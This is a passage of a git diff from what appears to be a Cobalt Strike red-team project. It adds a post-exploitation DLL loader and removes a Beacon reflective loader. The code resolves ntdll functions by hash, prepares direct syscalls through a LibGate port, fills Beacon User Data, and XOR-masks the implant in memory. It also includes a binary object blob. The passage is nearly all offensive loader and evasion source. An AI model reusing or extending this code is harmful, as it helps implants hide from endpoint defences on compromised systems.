dll_data->NtHeaders->FileHeader.NumberOfSections; + IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader ); + + for ( size_t i = 0; i < section_count; i++ ) + { + void * section_dst = dll_dst + section_hdr->VirtualAddress; + DWORD section_size = section_hdr->SizeOfRawData; + + DWORD new_protect; + DWORD old_protect; + + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) { + new_protect = PAGE_WRITECOPY; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) { + new_protect = PAGE_READONLY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) { + new_protect = PAGE_READWRITE; + } + if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) { + new_protect = PAGE_EXECUTE; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_WRITECOPY; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) { + new_protect = PAGE_EXECUTE_READ; + } + if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) { + new_protect = PAGE_EXECUTE_READWRITE; + } + + KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); + + DWORD hash = ror13hash ( ( const char * ) section_hdr->Name ); + + if ( hash == 0xcba738b8 ) + { + rdata->start = section_dst; + rdata->length = section_size; + rdata->offset = dll_data->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size; + } + + section_hdr++; + } +} diff --git a/postex/src/loader.h b/postex/src/loader.h new file mode 100644 index 0000000..de491a7 --- /dev/null +++ b/postex/src/loader.h @@ -0,0 +1,17 @@ +#define GETRESOURCE(x) ( char * ) &x + +#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z ); + +typedef struct { + int length; + char value [ ]; +} RESOURCE; + +typedef struct { + char* start; // The start address of the .rdata section + DWORD length; // The length (Size of Raw Data) of the .rdata section + DWORD offset; // The obfuscation start offset +} RDATA_SECTION, *PRDATA_SECTION; + +void go ( ); +void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata ); diff --git a/postex/src/tcg.h b/postex/src/tcg.h new file mode 100644 index 0000000..75a77e4 --- /dev/null +++ b/postex/src/tcg.h @@ -0,0 +1,102 @@ +/* + * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + * + * Redistribution and use in source and binary forms, with or without modification, are + * permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this list of + * conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its contributors may be used to + * endorse or promote products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +// used by both the Pico Loader and DLL loader +typedef struct { + __typeof__(LoadLibraryA) * LoadLibraryA; + __typeof__(GetProcAddress) * GetProcAddress; +} IMPORTFUNCS; + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + +#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) +#define DEREF( name )*(UINT_PTR *)(name) + +typedef struct { + IMAGE_DOS_HEADER * DosHeader; + IMAGE_NT_HEADERS * NtHeaders; + IMAGE_OPTIONAL_HEADER * OptionalHeader; +} DLLDATA; + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + +/* + * printf-style debugging. + */ +void dprintf(char * format, ...); + +/* + * PICO running functions + */ +typedef void (*PICOMAIN_FUNC)(char * arg); + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); +PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); +int PicoCodeSize(char * src); +int PicoDataSize(char * src); +void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); + +/* + * Resolve functions by walking the export address table + */ +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + +/* + * DLL parsing and loading functions + */ +typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); + +DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); +IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); +void LoadDLL(DLLDATA * dll, char * src, char * dst); +void LoadSections(DLLDATA * dll, char * src, char * dst); +void ParseDLL(char * src, DLLDATA * data); +void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); +void ProcessRelocations(DLLDATA * dll, char * src, char * dst); +DWORD SizeOfDLL(DLLDATA * data); + +/* + * A macro to figure out our caller + * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 + */ +#ifdef __MINGW32__ +#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) +#else +#pragma intrinsic(_ReturnAddress) +#define WIN_GET_CALLER() _ReturnAddress() +#endif diff --git a/udrl/Makefile b/udrl/Makefile deleted file mode 100644 index 877714a..0000000 --- a/udrl/Makefile +++ /dev/null @@ -1,12 +0,0 @@ -CC_64 = x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - -clean: - rm -f bin/* diff --git a/udrl/README.md b/udrl/README.md deleted file mode 100644 index 880a264..0000000 --- a/udrl/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# BUD Loader - -This loader is used when the BEACON_RDLL_GENERATE hook is called, -i.e. when a new Beacon payload is generated. - -This loader passes Beacon's memory allocation information to Beacon -via Beacon User Data (BUD). It also uses a port of [LibGate](https://github.com/rasta-mouse/LibGate) to -resolve and pass syscall information to Beacon. - -Beacon is masked with a random XOR key and unmasked at runtime. - -## Notes - -1. It's expected that Beacon will free the loader (`stage.cleanup`). diff --git a/udrl/bin/loader.x64.o b/udrl/bin/loader.x64.o deleted file mode 100644 index 0d9193b614e8e4d7aaddf97189c75759de202702..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6697 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 - -typedef enum { - PURPOSE_EMPTY, - PURPOSE_GENERIC_BUFFER, - PURPOSE_BEACON_MEMORY, - PURPOSE_SLEEPMASK_MEMORY, - PURPOSE_BOF_MEMORY, - PURPOSE_USER_DEFINED_MEMORY = 1000 -} ALLOCATED_MEMORY_PURPOSE; - -typedef enum { - LABEL_EMPTY, - LABEL_BUFFER, - LABEL_PEHEADER, - LABEL_TEXT, - LABEL_RDATA, - LABEL_DATA, - LABEL_PDATA, - LABEL_RELOC, - LABEL_USER_DEFINED = 1000 -} ALLOCATED_MEMORY_LABEL; - -typedef enum { - METHOD_UNKNOWN, - METHOD_VIRTUALALLOC, - METHOD_HEAPALLOC, - METHOD_MODULESTOMP, - METHOD_NTMAPVIEW, - METHOD_USER_DEFINED = 1000, -} ALLOCATED_MEMORY_ALLOCATION_METHOD; - -typedef struct _HEAPALLOC_INFO { - PVOID HeapHandle; - BOOL DestroyHeap; -} HEAPALLOC_INFO, *PHEAPALLOC_INFO; - -typedef struct _MODULESTOMP_INFO { - HMODULE ModuleHandle; -} MODULESTOMP_INFO, *PMODULESTOMP_INFO; - -typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { - HEAPALLOC_INFO HeapAllocInfo; - MODULESTOMP_INFO ModuleStompInfo; - PVOID Custom; -} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; - -typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { - BOOL Cleanup; - ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; - ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; -} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; - -typedef struct _ALLOCATED_MEMORY_SECTION { - ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development - PVOID BaseAddress; // Pointer to virtual address of section - SIZE_T VirtualSize; // Virtual size of the section - DWORD CurrentProtect; // Current memory protection of the section - DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) - BOOL MaskSection; // A boolean to indicate whether the section should be masked -} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; - -typedef struct _ALLOCATED_MEMORY_REGION { - ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory - PVOID AllocationBase; // The base address of the allocated memory block - SIZE_T RegionSize; // The size of the allocated memory block - DWORD Type; // The type of memory allocated - ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures - ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation -} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; - -typedef struct { - ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; -} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; - -typedef struct -{ - PVOID fnAddr; - PVOID jmpAddr; - DWORD sysnum; -} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; - -typedef struct -{ - SYSCALL_API_ENTRY ntAllocateVirtualMemory; - SYSCALL_API_ENTRY ntProtectVirtualMemory; - SYSCALL_API_ENTRY ntFreeVirtualMemory; - SYSCALL_API_ENTRY ntGetContextThread; - SYSCALL_API_ENTRY ntSetContextThread; - SYSCALL_API_ENTRY ntResumeThread; - SYSCALL_API_ENTRY ntCreateThreadEx; - SYSCALL_API_ENTRY ntOpenProcess; - SYSCALL_API_ENTRY ntOpenThread; - SYSCALL_API_ENTRY ntClose; - SYSCALL_API_ENTRY ntCreateSection; - SYSCALL_API_ENTRY ntMapViewOfSection; - SYSCALL_API_ENTRY ntUnmapViewOfSection; - SYSCALL_API_ENTRY ntQueryVirtualMemory; - SYSCALL_API_ENTRY ntDuplicateObject; - SYSCALL_API_ENTRY ntReadVirtualMemory; - SYSCALL_API_ENTRY ntWriteVirtualMemory; - SYSCALL_API_ENTRY ntReadFile; - SYSCALL_API_ENTRY ntWriteFile; - SYSCALL_API_ENTRY ntCreateFile; - SYSCALL_API_ENTRY ntQueueApcThread; - SYSCALL_API_ENTRY ntCreateProcess; - SYSCALL_API_ENTRY ntOpenProcessToken; - SYSCALL_API_ENTRY ntTestAlert; - SYSCALL_API_ENTRY ntSuspendProcess; - SYSCALL_API_ENTRY ntResumeProcess; - SYSCALL_API_ENTRY ntQuerySystemInformation; - SYSCALL_API_ENTRY ntQueryDirectoryFile; - SYSCALL_API_ENTRY ntSetInformationProcess; - SYSCALL_API_ENTRY ntSetInformationThread; - SYSCALL_API_ENTRY ntQueryInformationProcess; - SYSCALL_API_ENTRY ntQueryInformationThread; - SYSCALL_API_ENTRY ntOpenSection; - SYSCALL_API_ENTRY ntAdjustPrivilegesToken; - SYSCALL_API_ENTRY ntDeviceIoControlFile; - SYSCALL_API_ENTRY ntWaitForMultipleObjects; -} SYSCALL_API, *PSYSCALL_API; - -/* Additional Run Time Library (RTL) addresses used to support system calls. - * If they are not set then system calls that require them will fall back - * to the Standard Windows API. - * - * Required to support the following system calls: - * ntCreateFile - */ -typedef struct -{ - PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; - PVOID rtlFreeHeapAddr; - PVOID rtlGetProcessHeapAddr; -} RTL_API, *PRTL_API; - -typedef struct -{ - SYSCALL_API syscalls; - RTL_API rtls; -} BEACON_SYSCALLS, *PBEACON_SYSCALLS; - -/* Beacon User Data - * - * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch - * e.g. 0x040900 -> CS 4.9 - * 0x041000 -> CS 4.10 -*/ - -#define COBALT_STRIKE_VERSION 0x041100 -#define BOF_MEMORY_SIZE 0x10000 -#define SLEEPMASK_MEMORY_SIZE 0x10000 - -#define DLL_BEACON_START 0x04 -#define DLL_BEACON_USER_DATA 0x0d - -#define BEACON_USER_DATA_CUSTOM_SIZE 32 - -typedef struct -{ - unsigned int version; - PSYSCALL_API syscalls; - char custom[BEACON_USER_DATA_CUSTOM_SIZE]; - PRTL_API rtls; - PALLOCATED_MEMORY allocatedMemory; -} USER_DATA, * PUSER_DATA; \ No newline at end of file diff --git a/udrl/src/gate.h b/udrl/src/gate.h deleted file mode 100644 index 64de2c2..0000000 --- a/udrl/src/gate.h +++ /dev/null @@ -1,10 +0,0 @@ -#include - -typedef struct { - DWORD ssn; - PVOID jmpAddr; -} SYSCALL_GATE; - -BOOL GetSyscall (PVOID ntdll, PVOID func, SYSCALL_GATE * gate); -void PrepareSyscall (DWORD ssn, PVOID addr); -void DoSyscall (); \ No newline at end of file diff --git a/udrl/src/loader.c b/udrl/src/loader.c deleted file mode 100644 index 3a0ce91..0000000 --- a/udrl/src/loader.c +++ /dev/null @@ -1,295 +0,0 @@ -/* - * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "beacon.h" -#include "gate.h" -#include "tcg.h" - -DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); -DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); - -#define NTDLL_HASH 0x3CFA685D - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); - -#define GETRESOURCE(x) (char *)&x - -char _DLL_[0] __attribute__((section("dll"))); -char _KEY_[0] __attribute__((section("key"))); - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct _PEB_LDR_DATA { - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -typedef struct __PEB { - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; -} _PEB, * _PPEB; - -char * resolve(DWORD modHash, DWORD funcHash) { - char * hModule = (char *)findModuleByHash(modHash); - return findFunctionByHash(hModule, funcHash); -} - -void ResolveSyscallEntry(PVOID ntdll, PVOID func, SYSCALL_API_ENTRY * entry) -{ - SYSCALL_GATE gate; - memset(&gate, 0, sizeof(SYSCALL_GATE)); - - if (GetSyscall(ntdll, func, &gate)) - { - entry->fnAddr = func; - entry->sysnum = gate.ssn; - entry->jmpAddr = gate.jmpAddr; - } -} - -void ResolveSyscalls(SYSCALL_API * syscalls) -{ - char * ntdll = findModuleByHash(NTDLL_HASH); - - /* get all the supported Nt functions */ - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD33BCABD), &syscalls->ntAllocateVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8C394D89), &syscalls->ntProtectVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDB63B5AB), &syscalls->ntFreeVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE935E393), &syscalls->ntGetContextThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6935E395), &syscalls->ntSetContextThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC54A46C8), &syscalls->ntResumeThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4D1DEB74), &syscalls->ntCreateThreadEx); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF0CA9CA0), &syscalls->ntOpenProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x59651E8C), &syscalls->ntOpenThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xDCD44C5F), &syscalls->ntClose); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5BB29BCB), &syscalls->ntCreateSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD5159B94), &syscalls->ntMapViewOfSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xF21037D0), &syscalls->ntUnmapViewOfSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x4F138492), &syscalls->ntQueryVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB55C7785), &syscalls->ntDuplicateObject); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3AEFA5AA), &syscalls->ntReadVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xC5108CC2), &syscalls->ntWriteVirtualMemory); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x84FCD516), &syscalls->ntReadFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x680E1933), &syscalls->ntWriteFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x3888F9D), &syscalls->ntCreateFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x52E9A746), &syscalls->ntQueueApcThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB9C75AD6), &syscalls->ntCreateProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x5992A97F), &syscalls->ntOpenProcessToken); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB163D6A2), &syscalls->ntTestAlert); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x234A15E3), &syscalls->ntSuspendProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x32ADFBCA), &syscalls->ntResumeProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE4E1CAD6), &syscalls->ntQuerySystemInformation); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x6EF04C50), &syscalls->ntQueryDirectoryFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x814EF02C), &syscalls->ntSetInformationProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xE3D6909C), &syscalls->ntSetInformationThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xB10FD839), &syscalls->ntQueryInformationProcess); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xD83695), &syscalls->ntQueryInformationThread); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x92B5DD95), &syscalls->ntOpenSection); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0xECDFDBE5), &syscalls->ntAdjustPrivilegesToken); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x8408DD38), &syscalls->ntDeviceIoControlFile); - ResolveSyscallEntry(ntdll, findFunctionByHash(ntdll, 0x2DAAD6F4), &syscalls->ntWaitForMultipleObjects); -} - -void ResolveRtlFunctions(RTL_API * rtls) -{ - char * ntdll = findModuleByHash(NTDLL_HASH); - - rtls->rtlDosPathNameToNtPathNameUWithStatusAddr = findFunctionByHash(ntdll, 0x78D569C0); - rtls->rtlFreeHeapAddr = findFunctionByHash(ntdll, 0xDA12B8); - - /* rtlGetProcessHeapAddr is set to the ProcessHeap address from the PEB */ - _PEB * pPEB = (_PEB *)__readgsqword(0x60); - rtls->rtlGetProcessHeapAddr = (void *)pPEB->lpProcessHeap; -} - -ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr) -{ - if (MSVCRT$strncmp((char *)sectionHdr->Name, ".text", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_TEXT; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_RDATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".data", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_DATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".pdata", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_PDATA; - } - else if (MSVCRT$strncmp((char *)sectionHdr->Name, ".reloc", IMAGE_SIZEOF_SHORT_NAME) == 0) { - return LABEL_RELOC; - } - else { - return LABEL_EMPTY; - } -} - -void FixSectionPermissions(DLLDATA * dll, char * dst, ALLOCATED_MEMORY_REGION * region) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtection = 0; - DWORD oldProtection = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtection = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtection = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtection = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtection = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && 